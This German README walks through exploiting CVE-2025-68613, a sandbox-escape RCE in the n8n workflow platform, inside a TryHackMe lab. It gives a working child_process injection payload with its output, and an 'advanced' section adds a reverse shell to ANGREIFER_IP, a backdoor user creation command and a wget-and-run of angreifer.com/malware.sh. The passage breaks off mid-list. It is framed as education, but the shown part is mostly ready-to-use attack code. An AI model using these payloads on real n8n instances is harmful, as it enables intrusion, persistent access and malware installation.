
Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs.
Dieses Repository dokumentiert eine praktische Ausnutzung von CVE-2025-68613 (CVSS 9.9), einer kritischen Remote-Codeausführungs-Schwachstelle, die die n8n Workflow-Automatisierungsplattform (Versionen 0.211.0 bis 1.120.3) betrifft.
Diese Ausnutzung wurde ethisch in einer kontrollierten TryHackMe-Lab-Umgebung ausschließlich zu Bildungszwecken durchgeführt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-68613 |
| CVSS-Score | 9.9 (Kritisch) |
| Veröffentlicht | 19. Dezember 2025 |
| Betroffenes Produkt | n8n Workflow-Automatisierungsplattform |
| Schwachstellentyp | Ausdrucks-Injektion → Sandbox-Escape → RCE |
| Angriffsvektor | Authentifizierter Benutzer (Standard) |
| Gepatchte Versionen | 1.120.4, 1.121.1, 1.122.0+ |
| Betroffene Versionen | 0.211.0 - 1.120.3 |
n8n ist eine quelloffene Workflow-Automatisierungsplattform, mit der Benutzer Anwendungen und Dienste visuell verbinden können, um Aufgaben zu automatisieren. Sie bietet:
{{ }} werden als JavaScript ausgewertetDie Schwachstelle liegt im Workflow-Ausdrucksauswertungssystem von n8n. Wenn authentifizierte Benutzer Workflows konfigurieren, werden ihre Eingaben als JavaScript-Code ohne angemessene Sandboxing verarbeitet.
Expression Sandbox
↓ (Escape via 'this')
Node.js Global Context
↓ (Zugriff auf mainModule)
Module System (require)
↓ (lade child_process)
Systembefehl-Ausführung
{{ }} werden als rohes JavaScript ohne ordnungsgemäße Kontextisolierung ausgewertetthis-Objekt ermöglicht das Entkommen aus den vorgesehenen Sandbox-Einschränkungenprocess.mainModule.require() bietet Zugriff auf das Node.js-Modulsystemchild_process-Modul zur Systembefehl-Ausführung laden(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Erklärung:
this → Node.js global objectthis.process → Node.js process objectprocess.mainModule → Root-Modul der n8n-Anwendung.require('child_process') → Lade das Systembefehl-Ausführungsmodul.execSync('COMMAND') → Führe Shell-Befehl synchron aus.toString() → Konvertiere Buffersausgabe in lesbaren StringGreife auf die anfällige n8n-Instanz zu und melde dich mit gültigen Anmeldedaten an.
Lab-Anmeldedaten:
[email protected]Try12345!
Nach der Anmeldung wird die Workflow-Erstellungsoberfläche angezeigt. Klicke auf "Von Grund auf neu beginnen", um einen neuen Workflow zu starten.

Klicke auf "Ersten Schritt hinzufügen" und suche nach "Manual Trigger". Dieser Knoten dient als Einstiegspunkt für die Workflow-Ausführung.

Zweck: Der Manuelle-Trigger-Knoten ermöglicht die manuelle Ausführung des Workflows über die Schaltfläche "Workflow ausführen" in der Benutzeroberfläche, was ideal zum Testen ist.
Füge einen "Edit Fields"-Knoten hinzu, um eine Feldzuordnung durchzuführen. Hier wird die Schwachstelle ausgenutzt.

Konfigurationsschritte:
Injiziere die Payload, um den id-Befehl auszuführen und Benutzer-/Berechtigungsinformationen abzurufen.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Ergebnis:
uid=1000(node) gid=1000(node) groups=1000(node)

Gesammelte Informationen:
Passe die Payload an, um den ls-Befehl auszuführen und Verzeichnisinhalte aufzulisten.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Ausgabe zeigt:
flag.txtLies die Flag-Datei mit dem cat-Befehl, um die Ausnutzung abzuschließen.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
}
**Abgerufene Flag:**
THM{n8n_exposed_workflow}

---
## Fortgeschrittene Ausnutzungstechniken
### 1. Reverse Shell
Richte eine interaktive Shell für dauerhafte Kontrolle ein:
```javascript
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ANGREIFER_IP/PORT 0>&1').toString()
})()
Füge einen neuen Systembenutzer für dauerhaften Zugriff hinzu:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORT) backdoor').toString()
})()
Hole und führe entfernten Code aus:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://angreifer.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Überprüfe auf sudo-Berechtigungen:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extrahiere Umgebungsvariablen: